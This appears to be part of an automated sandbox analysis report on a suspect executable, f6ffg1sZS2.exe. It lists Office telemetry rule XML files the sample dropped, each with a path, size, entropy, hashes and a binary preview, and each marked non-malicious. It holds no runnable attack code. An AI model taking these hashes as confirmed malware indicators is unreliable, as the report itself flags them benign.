Preview:	<?xmlO.>.....j.........d....V..$+..,O[\G2>'Q.vP....:B...j...9.O..LC.mx...x...u..6.......V.A.i.o....y...L.....{r.Jx.Q.%.........C....?e.U.Z.....5J..+..FI...+.:.".%.. ..{Qm.D..../.....;.T..........c..)m1....p+...n..'..U......!q..x...F..W.q&.I..O4S;5.?...8.GY..........3z.....7.c6....'.Q..r....&\|!.).QE..A..T..u...i.._n... .D.M.GP..(4tuH..N..,..,..1;..Qu.kT.#.../..^.9]...Gk....,....wG.m.!,_..!d..P.E..fnO.x42(.G....._..(....y...S.w..F...y_@...aPF....GN.A...vp......pno3..r..%..l....x......rYs.s9.n...pV...............j!.u..@-...h.k....9....%..+.(..._....B+.+..]./..=T.l!o:.C..B.h.<.b.4.9..o.B....63.x.........a...Q.H,...............XM...&c...r...!..S..>.........62...u..&....s..A. ..3.m..;........9.9..,.. u.wany..x.T.....W[..%.F.7...0X...Srj/+.7....V2......kg.R.,N.....nR........Z.{]...U.......9.WH....+...C..S...d.rJ[2.N......y"..B.r..-.Y)c..9...#...a.....{.92.....S.9I...R.7n.v}....AL.=...m]q.......{.....4.\|...K.+(..E^R..0.pM.....U*\2.3....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.885157766472554
Encrypted:	false
SSDEEP:	48:/wITOf1v4nZy9sdFmNwvOtrlxVwuXNqCYuBybD:/xOd4nZy92MNJrlxV1jzBE
MD5:	DDDB3EEE28C8DCC51BB4DFAF271D0A0B
SHA1:	EC91B7287FB0F5A0A2496875235328DD92942259
SHA-256:	1565059CD2ADB029E5887FC6B0D6827C4539AA0ABA244A563822013BAB2738DB
SHA-512:	D08F59DCD575E4534D245B38846DBC059124F9E646271AD89361B6524CF683113FE9318F75F5BCA777351632B5C1F4C832A90657811A04D581578753FC33CEA7
Malicious:	false
Preview:	<?xml..1.r.0..1QOj`^y;.X.m...nW?"...n.;....k..%..8../...o..uH...;..[w...fo......5.......'..`+..b...3.bl.W.\|.;..w.....I#.`r..c...p''^..c..n....C.Z9.K..(9}..u...u.bv..:..1.......%.djQ..!{j...pR-O.$.v........\....!...u:.-.b78^.....H-.f.C.B0.cd...R..?\..c.......5^e...j}.F.....>...`5~3..T.F.....Q.eQ.-<\R...7.v\|V....5..%-..j.]...V\|..+lh@.Po..r.c/....U.\7.4..&\|.;.X.yX.V^.g...{.@?Rk..\.73....-.l.yx.)..l.....CIn.......K.I..^........@...3M..E....@oX...].i..0..8L.....c.B.k..y..a.T...YG.-sn......=: ).......I;....oH...q..._i.Q..G.B......;..j......<.Z.N.j.OVi..f.U......'.C.......%l9y....g.....Z.^B.R.)b.....)....>..^.;...n........)..8....k..7.@H..{.e......j.."p.+...d.i.a...E.rA.....u.h.........C...`DR...1....H.....$...&..V..z.......x....=.f...,p02.m./....r.......9q..)....q.b=b.z.).5..!......tD...^h............cH.g2q..l*.8%..aR1M...{.G.B.Q.d.]>(XR........h.=...v[.jhq....PQ.8R...C.8I}.C.....n..u.._.9.d.........d...cd...N..`...UGZ..}..F}...}...N.u.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.902913591613591
Encrypted:	false
SSDEEP:	48:fur5rk0I8e2w94UOdwWwuxZNrDyqmoHmvtjkkFD:wrg8WfOyW1x73OoHmvtIG
MD5:	563B0D488B21CF6DADEE7EB91C356031
SHA1:	EA4DACE67806BE3805CE6B11746C009D099D7CA2
SHA-256:	2EA42921C50F64A198CCCBE67BCECA86E89BEB1FE0D4ED60F55BAC3E7CB8A2D5
SHA-512:	F38564C13CBDCC50F24DB3A8D021C32C98F08BC1054C7AE98D033B914B2BF705520F216F1C4E98FBFB14F24BF2B8B815CC1F7C6FEDD5B12BE00A064EA3357B2F
Malicious:	false
Preview:	<?xml...^Jb.t..R....F0...,.(.3<....%=.oI.u...U.K...........X.IQs4...X..q...K'...wP.....$.\.H~...V.+L;h..Uv.d..._q'.q.\{..o.p/;....+i..D..o..WC_e$...Gq.n.....Nz.$........4GT.&8....&..(....:.z{....)2.J.`..}....O.(v...j`.2.M[bi.v..4.J.....1..-...s@bL.L.i.I.p....v(8..0..l2.....-./......`hQ?..d.`...d.'.jr.0.duot....A/.W....._V.N............'..........>.n<........>Ng.X.wS..K1d...^..n.}.........o..L..o.+..;..F..E....2.S.'.Y0....a.#b......':.N..u.7`b......=.7j.).....Si......aH..SR.s.-2.AU..(J`#.XZ.V.e..!.8P..X?.s.......nw...gQ...)..G....m..8......K.n..a..Z3..1..<..@W..~ .../.DJnO.m.o...t...f.. ..ys.....7.G.kR.A.$.@.H.qc!;.>..#.d;O6;..U...L.D.{....vPH#9x..'.AgV..,z.a.'.}%....Z.i.......F......~....d.k.id.Z.nFW2.H,..&..(..141,.......(..]...c+..!...l.4i.........&\|\..{\...._........"........A..s...$.......Bt..0.B.....S...ShNtu.....%"A"I.<.......k.L....t .%...<../.o......g=]....r.N1..+.E.m...;.?... .O...K...z+$.......u..'.ZQ.L...Fvi.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.8978664611907226
Encrypted:	false
SSDEEP:	48:wkrDH7Lk5OVaRCIyijwNGr78taWg/zGhjD:wkXHgOaRCIywr46zS
MD5:	18CBB868F2452C43660CF0B83A677E78
SHA1:	F78AC3659E40F78071D8CE6B47584E615DFBF499
SHA-256:	57B77FF3F2F41FD3E32097E789B272FEE0436AD853DEC3D630D6F1ED49E21C3F
SHA-512:	A9DE6F6982EF1EFE0C813BD093F9254C0EB838DC8A9C68BC27221413A9B763B9DBF717F2F913243C415FF4A7AC97ED4D238DE8A9933DFBDCEE4EAE893317E12C
Malicious:	false
Preview:	<?xmlM..^b!.U.).:..1@....4KbG_.N...%. e...Zk!$N..Z..?..c@.xp.k......V......k.6..g.......c.8L]..60.8...+....K.. m..S.$..mL..............m......H..T<.}.}.A.\.#..c'....?...:..... .q.<z..>P.n.I.aw.%5.. ....R.w...E)T......m.\|..N....4.2.<..K.<_.k...,3v...3.Nv.....Z...su.CC:.D.._SJ...n..'L8k.8...\\|..Z...:z.5q3<.A2eV,n.....i.d.o.wT.1......;.W.k..m.^..U.0..>....\...N....b~..-3F...H.$.(;....4.....,o..MH.E...d ..).2/$..${&i.b.GG..le.4..ke ..k,:c7.P.\F.H.w..........].x.D;.e......F.i.L.G.[A...VK..(.x..<d......`..U..'...rw....Q._.9PBQ;H..5/.../l.....MS.p..!i?8..K@].v....1....C\|..B.4..N....&;..A...M.......D.w.L.`.s...o^.\.x..>...3J.?...%.p^..Z=m..-.L.....2M........S..}4.1.S.x...<..R.J.2c.c.....;..mP....o..H..s....'y..g.A)J....WV9...wW1..U[S.......%+3.4....'j..;o.:..n.\|k...9..u..'.1<(..{.....f.R.D.U.YD.X$k[....!..z....-.z"n.{...P.'...l....b.o.`H..........~_.....>..Dm.....ta...t....>......rc..._..d9^..8..5V.....5SN...-..O.~p..2.+<..1.5....>&f3.h..F .Mz^...../.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.898978155616339
Encrypted:	false
SSDEEP:	24:/pGBRmNyLVdO0JiDG++zzswwsVF/TitYa+9sFX1ybFBW51mA1+mQzcQgZhJANmzX:/oBGyhdO6zswwPtYa+Ib5sAuzCZYmnD
MD5:	A94707DC26FC4554B284F1F236D4D0A8
SHA1:	0736CA3FD72572F6FF5EC04F0E722023E4571AEF
SHA-256:	FD549A8C6DA69A91152D2A5B8F286D29D8E3203493EE070E03A081BF40A42FE6
SHA-512:	6A854F4097D686F39BCF2DEB59F9C39437EF14B65332239E1A3B3A52F9AC2BD4264B0B5F00AC7ED57CC9CD30F2F4E8C47F1DBB49B85F73A158AAB6909A825439
Malicious:	false
Preview:	<?xml.F`.j...q.... .&..,.Xa. ..Q0."...I.<[o'..@p..l.w...n.,.&F.)U.L.......8&:.m..Q.....$O.f......(.j.R.5...G..o.....X.^z.M.fb...ir...Q...z0\|.....?..zKAJ..S.G..)..l.S...v%y.R...,....0..2.r.:M.d..r..f...g.PZP..N`P.w...R..C.ZP.b....U.r.Ioo....&)...o.f......6J._...\|.)V..j4..}Y.$...3.3oz.V.vR.W.kYA..F.'.}..\|..+../.+.m)....u.:ln.?........)...5.......6...(8iI.A..mRI.....:<C...."5<..N.sE.h.s.........f..R}.N...J..\.(..\|W(.d.F...r. ...C.....+.R.....+VL.w...W.7.-.1.....k.]...V..".U.^. D.......U....ii.mZ....E..I.W..6.X.V............Q..K..w5$?\.......j...34-....QG.e%..YPu..).o.a.%&&y+..j.P...v......+..:.....H...P.n.}.w....S .:..O\.lV..&`...%~.. .1.y;..D..w.........J...Zx6k....z..e...U........C..........M.....K...Gk.....9.I.{b(35H.n.....@a..-=..r.....?..h@...x.W.N....<G.......F. n.F......oI...v......<....j...z..K.`....;_.........G..s.'..o..I...........2..cW8......"..-p.Ic.B}rb..._......Sn(....Lkp..?..y.!....X.xuS.e........a...;-W....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.85632306596256
Encrypted:	false
SSDEEP:	24:6AKifDHQiGMpxlW/UFa1qH0ut0ZbiAIlKL18Hywb7hWilyd8Bc8nMAVPHTE7ZhLB:6RgPyUXt0ZbiAIlmq1h3Y8nHT8hLxzPD
MD5:	D08FA2721F85A2AAF631C4EA729BE8B5
SHA1:	A2E6B8F572D066BB7DCFDF41B5A8C7B33AFB87A2
SHA-256:	5E96B32E1248803853321AF74F4634614C7DD2DFF1F10C0281E33DBB328B3FAB
SHA-512:	DF8E7B87FAC497015BCBA7B8167FAB9080DFC73A5551BBD39BFFBFD24918AC3D1C8A7890691D92EA08FF003695742E136D82E58A06BA90C4E770E87B9C3E03F3
Malicious:	false
Preview:	<?xml.....C.....} ....(.j..Z.Nc.....kz......S.....b.6.2$.v2@6-`...=...[.(.s.U..p...TD.DW..$...[..\.J.7.=W)..k.N.d..n.....5.%.D.o.~..z..KZ.8..c.....J..508.z.D.F6\|.sT.V.o&......-u..?F.mE.O..J..w..z........a..+.e4..........)H.u8x..k.,H..e...x........\b......M^75.y....._7...sOa..U..K.6..y......d.h.G"O.\|c...1q.2m..9........E.....>...b.S!..8.Jg..glTgT.....F9..;....D ....wy.ND....Z..3Z..#.&...E.pu.'.3.7)?..K.......=..O.h.]...Y.;...."..y#@.....9./.R..S..(a.lh%S.yc..\|....).9..H..n.....-..L>......Q..[$hQ...YfU..{....r4...H...p..^4m.Y.....=f.%.\|......[...j.3x.n.o..8+..m.O@....\|..?0...-......g......(...7..._..."_'~j..m..g.....+...Fi..H6L.D.TI...2R..>..{.0.......4.%4Z.3i..J^7.....d~.A.Gl7..BV..........1c....T....6.M(.~8.D...5...n.MJWb..%..h...T..~.......m.....B...mt.....}O.2..m.m...~.M.....bq..B.....f.3,.....k...y..$... .y....+..#K ..E.\|....qM.pS{....6...+....".t...K6......9..C...L..V1..l3.B...J....G.Ep.ISI.t...........-..{D..`<.%...m.5P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.885918093855469
Encrypted:	false
SSDEEP:	48:zF0bpbh64+uMXIzcBF3OD/zTqGSuX9EvbUDMrf9GD:xOTp+uio/v4uXSvdb9e
MD5:	ADDD3B0AF8ABE7CA9448BD98D059C4C5
SHA1:	B815336E90B570C114420A2C3CCBD52330FDF2B0
SHA-256:	5527AEFA1F13C16073AA7E6E2F106FADD1C791791D9417400A0600A2FD43D826
SHA-512:	EEE50ABB343844A2D2F5A2CCBFBFD57551A7225E97922E724DAEA4920B6DC6D318C794B40D9BC9875A5355B5C80CE21AE8FC9D6C6104F605D48B2ACE52C382C1
Malicious:	false
Preview:	<?xmlv..?A.i....U./....Y.....Q.CH#3(`...$....k.UN6k.Q..!...}...[.!s...:..UG..DrL.....K.T40-.......A..{<..#.o.m.:...n....7....d.r.d....H..t.e.Hvb..uz.k.:~...6z..n7.;.....w\...S&..W.\|y......Di.ymy...3.a.SwJ..N....d.q.\|...-..L..^/.....v..M.IL...S.fjOl..kXp..v.....c.1......K.O...fA...#..i.kU.z..bh...H,.......>.b8u...fw0g@l.z....$..`.......?.VF...f.%...L,:...V...g......l....s.k..-.C....4Y....g\.!.%......{M-,..U....z...%..........m.I.O...h...H.k.....T.8...P............0cl..:.o...t.ou.$.......)$.n..I.......8.FI.Br.:.n...!...i.........e6..G.q%(.H.....%...fL)K..G-....FM....I.. c..k&u........P...x....h...\].....V..a...O.&3dF..M..U..<..m........T...8.._%..y.q:....P./.U.iG.)..N....+e`...s;.....e..(Y;.l.(.E..P.HL...;*S.M.+.'g... .}k.+..is...._...b1,).4.T.0^..@...o.{dp.i..?.`.....J..o..^g#...~/.ig......@..?.7....tg...X..rsq..NZy^.....d&..t..i^..r\....b]...w8s.S..t.f]..hU,.....ih.u.....}K.T N.n..K&...%5.U&)eD..U......zwM...D.-....c..\.'&P..<.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.871255656926459
Encrypted:	false
SSDEEP:	48:6gVUpheHYNgtwuGZDHXaYnX2eFuWwbIWbf8LcDGD:9VQcHYNgmlZjXaYnG+wb3bXDe
MD5:	D7D0F870CF40855974766404266C64E8
SHA1:	3E05DA75369730151F1DC35219E36F79B359C940
SHA-256:	8A8D247CD6565F034176BAFD33C096D311BEDA08ED5B050EDC704FAD8C6CC00C
SHA-512:	8A463E88F57779222F023118041E571C9D4325241C22A34DD909A14E8B3CCE3A66A564A3D9A3D98A72A10B31A4918AD82E414FA73E30D03BE351D539533F3D11
Malicious:	false
Preview:	<?xml.<sS......9u.l.bW.r6......D......O.Zl)..}....q...y8.y....g..%q.mu.D...QM.@K...p...`....o.Lc...\|..+,LI.o.o.&m."...E!...%........2>c..f......S.b..d..(K.f..f.n..a..;)`A7....M......}.Y..I.y.48nE..gb...h..mR.G.oe._....-..y.u..@I.4..z`"....`+......T.gZI.X=..y-.....a..i.m...cwQ.m&T..."...l........ID.".Q...e..nUP........BB...........;-.R.a...vC.K 8.>..A.<.64...T...G.H...P$M4..!.....;...i..3P..c}-/.D2%." J.<Z?z...4WC.....0..+,.-1j..\J.0.lY%IT&lmk..}..dM..h.z.F....F.9."u.T..U.(W~m...!.hK...8.u.jt,.J....2...C..Y`;fz..u.../..a .La7.F.....J...a..o1..\|.#..yH\|.B...=..........,gX.{.&...x.-..Z.._....5....h..{.{.Vv...(.P....r....W....D...f.{...7(....X(;..t...q.U..Iv \E.....B....{.pj9..5....c..I.a....6..E..g.m...vauq..K..g?.0.`.{?.l.Ab..1.2.b{.2..h.(..(x.<...4..Q.g.....B.U....b..G..X.@.....f...n\|t..-....#P^P.;.N.....\y.E.".W.'....=.O..b.QQ9...O.v8Q...)b`UhV..(.V.<!..gz..0...Kx.d.z*..;.P$..wh2..F..3...@..+zC.fF.#...b..\.].$Y]u.5......)...H.E.$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.888415459154933
Encrypted:	false
SSDEEP:	24:WDcse+89cpGCavdI5PEGKMJaF4eBl+vXvKwSmdoEhJCGdwZgdCAKkLqzZ2JJ+6JX:WDje1cIj1t0JzfKwSWjCG2udlOl2JgUD
MD5:	D21BB1B50CFC0BD203714E063C81B979
SHA1:	B4F50EDCD8D7108ACE3F260C7E0CA0D1465221F2
SHA-256:	73E6CB654168077C0748E6BF358C5F893BA36B8F2179D73C793B7038C1CDD255
SHA-512:	ABED17B94B736AB491CAE08AC854C02829C32169DEA43B77873CDCB4B99723AB78453E238E1AA08E9069811569BE9E0CA77FB23DBC7F3BBEA1780A2CBE2813AC
Malicious:	false
Preview:	<?xml.~I......&..c.. ..m...]t9{..o..U..}~.@....#.9.?..YO.2....G3.p......u...."w)"....R..,..l.\l.7Q....[..}M........E...k-.h.R.s`..(p?..@v....'[..\.s-'.K....R..`.%.....~..i.Z......\|........{..0x...gvw{T...!@O.F....-...N".......'.._....Ti.vLcZ.S4.......?XY..>..@o.~.<b......F....{.......?...Z.AX.j..G........1......x...O...G..\.<m.. ..,.Z..A.-.w....R.?....&..........(9.^....<}M.M#.HFc.?i..!2.i1.o.8XQdL.@K..l..e..~..9../b.....OJ..te..c.A...s(.#X....~...H4..FxA.C....1......"o6...R...i.....?..cA..6.f.C....V...(./.Y......w)....oi..-)............5......<......&G.cn.a.-...M.S.=.0...._...qV..zD..P... .l.PQ..#WJ.....Y..QVT.....s.\BG.........Lv.@4....7.......3..W...Q.b.O.s....`......R..~o....?.<......D..:(`"}s..f.vz&....(u....dU.RD.Y5..\......Gw.n..=.<.....-.N.U.&O..9}.u..-J..T.&...T.lZ.....XbVu.`5.PF....J..8.N.8?...B}......Q.<...Aj.cl...x.^9r.2...7x......km...eA.......{....H......."...L.y0A,......P..`-.-W?....2./..;d..%...(9K.(o.4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.889037066045775
Encrypted:	false
SSDEEP:	48:DSMCJK+pvATjxi/V6/jk2TngPjRrSHYZ8ZgS3fSdBZ0Qf5D:DS3FuIE/I2rkjR2g8ZgSvJQp
MD5:	47EA988F26328B3DEB41E00D3B8648C5
SHA1:	FE5B60F6920578245724A5FE193A2707A95C4659
SHA-256:	61A9B3F0ADA60C343FD9704826B14E6E51AE1B27BD9BA31F701F9678A2F84F62
SHA-512:	4816E513B31A4AFF293F270B8A4609B3C0C9B94AC9E2E3FED8AECFEF5050ED8C1E770040FEEE7C47215CFC200EC3D766D97F106F6C9D3DCEBCBF87ABEAA4AC6F
Malicious:	false
Preview:	<?xml....i....;..\|^..`.cr...}.w.K...>E.......y:0...\|.a.$.v.4.Z..P.......S8..Z.U.W...z....M.../......^...J.^................xVj..14..P7+}.B..0WN%.&.&'.@....+~....lK...-=..5.//...7.I.l}Z......OCX.s)...I...Is.......-.0.s..~<>._R..C. Rm.,...}m......+.45..S.o.c_E..L......l... ....'..P%.Bu.6.W;]....gUm.\|.W.z.nFr.A..s.7.7...d]RYv.....=\|.>hl.))L...n....J.l..Tz.e.[.H...AF....S...D....l..Rt.%..4uN.{q...M.u...0z.ixe.y....Q..Dp"7.".p.*.. .C..!..%..9.4a.f..@0....Q..QcA{=0$.\|....@b\|P...hU.6...!-{...i..=7_.`..}..6.=UG.`...1.w..(IH..-....;..X..~Q/l@U...s:2h..DY.....c.2;.A...;@.g2..y.f..\|.....B.}.J+5.f..-,..l..O<.U.W.m.........3..._2-......J.)..y.=.v.:(.v3..".c........}`..9..l...$..G......9..;.........:+.t......-.....Dm1P8......QUd^hX.=g.."..-.L...S..2(.!.v..K..]#.I.).GXlg.[u......Nk......~..m.!U...gW...s....:......~8hl...,.{.p`..d.MQ..%.{......pr .n.:.m.Ma.q..>x\....\.y.a..Nl.@...b...%..cF3"..]`.N..wd...(.U..B..y....e...F.U.bw.S2.p..X.=.Jw.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.875905005736826
Encrypted:	false
SSDEEP:	24:BkgITWxxQOL2L6aqALQAVHMscUI9v8isHYyr6N5n0PHCvLWglhJLTwkxaWpd5bD:BPPvFaVQAVHftQvAJfCHlhxEkcWz5D
MD5:	075D892DE8BF71D9FB908B95358A4B58
SHA1:	A7059AFEF3E740B7DEDB99E41325E03F27F672A3
SHA-256:	5D2160FFF1A75B31DE073A1FB0FB640BAA89645D7F6C32A20BEE188A0BCE8737
SHA-512:	CA01A94916534B6A8EE55AD514C1970DF0436F7B063E6C065787469FC4A9C038AD2FF40B6B1CFE46461F4FDDBB5FAF3F1981B2D6CA2761B3169AC6DC1F39C1DB
Malicious:	false
Preview:	<?xmlK:N.....=A..[C.."....j{}r.y.L..R......#....T.P..U.E(\W_N.~..X...s.%P.H..'M.j.....L...Q..,.V..=}.....5Zj......K/.....7<.."...p~.g.x.Ui1$:M...+..(.'.....xK2...K.....\&.../..E.@.....p..N.^....~...2.{yy..%..'..G-..''.(..4n.T'..~.. ...2..h..X...w`z..w...=p..4.b2.Vr.~b.;....z.....,Q.."..Q..e?...........+.......:.`..VY.....!t..2..../..n5O..'G...9.l7.3.i5....b..@.+.rA..;...%.....E.Q.CL.`......qIU./G..g..'.=.."..@...<.... ..a(...c.w.....s,SP..<.A.>.-.L........\....,O..0....\|<.{Q.>Q..{ o..u...Q.)1n...T9.{..U2.;...z.KY..6.4....,J...M.w{\|R..".e)..2v.1\.-.T?.`...b/@....5.(..x..a~..Jf.f2A.e..U.9D.x_.\|.Y,..0.R.X....."\.`s.......?.#K...m.{y.t.sSv...n.0Y..(...7s...2.f.J..._.=.+..y..l...T=....mT6/..E.E..X+5.7...&.M..g&0XeZ.,............&.m....Y...Hy.I....GA"A .6..o.^.S.N..X..z..z..xZ...;.Am.."!....zb.A...Nsf5...(Wa\|.... .b.....m/}]3.W..X}.V.VM{..G........m"...`....S.K.G...G...q.......\|1w..s..t...!.O.9G..>.`+5b\|.`lpH...,.W...C.p6.0.i.r.P..`Zy.x.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.875124016032525
Encrypted:	false
SSDEEP:	48:mDX33ynChuQy8DFImSEvtyfiwfdUVja49D:4iChUfU1Zwf2Vjj
MD5:	36C0EA56E215BB5B95288816B0A114E6
SHA1:	5B01012150734A131B5F2D537682846CC67D6E61
SHA-256:	DA3719DA7669A020B19264A94BB2A106949D7F1C2EA88F1149E97F21279ADA4D
SHA-512:	5E79840ED54AC7E0A0AD1D45164BDCC558CF5C92583AB47C76E14513CAD925E05A6206F399D11EBA1E5AF2EABBAD3066683E9B60F578DE980EEE0C08912C55DD
Malicious:	false
Preview:	<?xml.w%..I@..5J.>d..1\|.<...j#8.)..&....Z8.w..4'.\....zD....@.%"...k'....&ftP..KG.h..q~.t.u..L...a15m...!...w...^.6..Z><.b....Hv..$.......:..1.V)j. "...F..H...G.....,X.-....n.Qc....-:....lw..Dc..q.l....E...q...@..3..O....i....db^w"..+.t,......R._?..Zq.t...l~%.k...6.j.........`R...P.~.Uu...S.......X...L.Q"[.6..oDx,..H..mG....2.`a.u..L.v..OV.fW..F..........r<.....m/fJ..S.r.9..d.%./t0......1q...j...Q=...].(... .&...azr.l.......\\|......g..4./.h..r.e.<2....]..9:.....'.; 02~.!K. ......W...qA./..... 1/...3.!V%.o..9d.Nn..1?....X9V.g..x..O..].{@..h.h.>.W..c.....0.[.V..f$4.q..j...OYV.f.S............C.=...m..].]......j..O..m...M.F]Q..>..Lpq6...T.xB...?.n..U.....w,.3.pfV.\|T..j.1R.J..'.....\|...N.D!T.......`+.o?o.zg..B....e..yp.E.+./......D.o..s..}.;6..B..C?.S..26.p.).!9.>h..5.Oc. g.T.....-@..V..i%.I.I...S.....Fkt.B.!C.[.........C[$}8...<....Fb...K..2.R...#........,...6.m.f..\l:q...,W2....V.L....(3<[uC@.. j\.Z..y#.........[G....._.\|`..........A.V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.884186425719172
Encrypted:	false
SSDEEP:	48:zu3V8OwKxyb9WpReWe2XlA++ownGJYI+IC4D:0V8ONEBWpReWeuL
MD5:	1EF4D894646C7B32068D6A0A1DE093CF
SHA1:	2E754199DA716937A17879832A4A8A4CFF3DCB50
SHA-256:	67176475B5AC5CD336AE28F2926E267A2B25C635BC753ABA9C5A0112EBB0ADD5
SHA-512:	2CE9EC7BBD50FE5C00A88AE1593A8DB9C0301F981A9A7D2FCB95B6B34CE62E785DB26F74FB9D89565EFB0430C2044A85534AEB3106B5A1721C6B78D038595D3B
Malicious:	false
Preview:	<?xml.......3...^.4.Z.........Y.5@.lA"..i..p.....ltP..../.EI....w.......'.:.b~.X..W.0..t...A.i.A..r7.=\XW..Ck.L.~Y........O.....0......}.r..O..2].lJ....U...i..ow.;..5.<.7..../..3J.&....u.dS...mg...".H...2.......\.. 8..b.....-..Y.a=.Q.c..20s,7.\|...C...D{..?.ipl^....'.fJ...)g?.g\|.,7K.d..(..........Xk.....2............}..D...../....rz.q.z+..}.J3.=\............$...l...PE.o..6..> .Cc..\|..Z.C.L&.......{.>.r.........vuZ..1.,.?4\........n."....?.A..,E"^..W...-....&.v....a.6...g....3Wu...}...RFD....q.]L9_F.jv?7......VUes..s.K.%.g..e..d5..(V.l.......K.h...ol}....k.....;.7....e_d.......w....w..........2,p: NH.<.S\|...L..h.....x..L...x.r.$..P5..y.../..>"E.....v....?........h...Y.>.S.D1..L.....^...T....=......S2.F...k].(.D...SA.ow...%0...C. .)..A._O....t\|..}LQ........92..5.2.y.V...<..2p...[......f.....A....))....9\.7.x...f }....u.)....G.5..h<..Vr=#(..9.....#B8...H(.<.........z_.G~.Q^...G.6.n.u...6U...j).....D..o4.!......D%...{...AEoe._..=Gi...8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.872965947974861
Encrypted:	false
SSDEEP:	48:yQjAGz0pmNogTICy/i1oWaabD1LghQwS4D:Bj30p81lck5aa5lk
MD5:	E973A5C6601934508A42D889EE52FC18
SHA1:	4D67C3A0E1B1692685950170D7B099DEE5BE17C9
SHA-256:	C78BF81E40007BBBEC5587E35DF3C3873C0B8CD5CFB48B0FBCA3D92BB90939C4
SHA-512:	52AC82EB68215F63FEF14185EE243B722C8D22EDA61358837A31C4B76EF553DDF33F8F0F13854E34357600B0C7800CF9D2E6519127336C9E1D29193F38CBCF98
Malicious:	false
Preview:	<?xmlB.M\.4E.o../..&waf'L.Q.{.m.yvs...M.+.A.wl..c.H.{Nb9....ZH?.......x.d<.........{oF.p..>...C]..0...F]...i.......v..t....\|.......S...h...K.].......l.!d!..qz.9ba..D..YU..#.T...K..Z.....n}.....pY42...4PC4......!>..jJ\|..x#B).. ....$=....'%...W...Y....U.3..{..:...f.$.@....Y(.me.M`.;..A..~.w....+p.o...ip.j.+`..Do..I...bx..].tJ...7..Kh.bg.3}....8.?F.......-....3}...g0d.....%.i'9......X.ii<~.<(F^\|....v%....'...D.QWX>..l6i6Q..8......).(e.x.'. .Q...C\|..6.v..#A/.......... 8.V..T2x......I3..OZ..Fz."..6:....ef.....2W.v......O..z9A.6...:...;.:..........lL...._..S5 iA{[rb7=......:v=z..?....r...7<....a..(l...a........i. v\|OV;.8......e...6.......VUO...2...f.KQ...pg....8.....?..F.9c...an......=aAn...X5g..071;D>.......3....LM.{....6w*.I....B1m`t.+........E...{[.......y..V....P.?..d[.......K.... .,W.JBSL..>KM............<..1.GB..l....E...j.6(:Q.e.'].L.........l...V.=7..&....K.....F..7.p.....L.E...N%.......;e.`s6.:....&.......O..)..#.%.....C..^...]m.D&k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.890256861352186
Encrypted:	false
SSDEEP:	48:bk5k8mijIQn7jZIiElpPYi8woHlJyYOZDxYVjl+D:ck3G3+i4Yi/oHW1yRlG
MD5:	0B928D736827C1223920B1809AD68FB8
SHA1:	B8F96644F67DA1624C89944E6C7EBD96008CEE43
SHA-256:	7AC749B3FF6011F0389848628FE2AF0C51ACF09AB4E21C735307095BEF61D03E
SHA-512:	EDA6301A2E1EA83711AFC72D3741FABFBDEBC7103F6EF6F1DA5DCA01662209B2DA77CD94D76207D3C3F8886CD0643D5781E1EB4B111C6233A92220FDB8C5F237
Malicious:	false
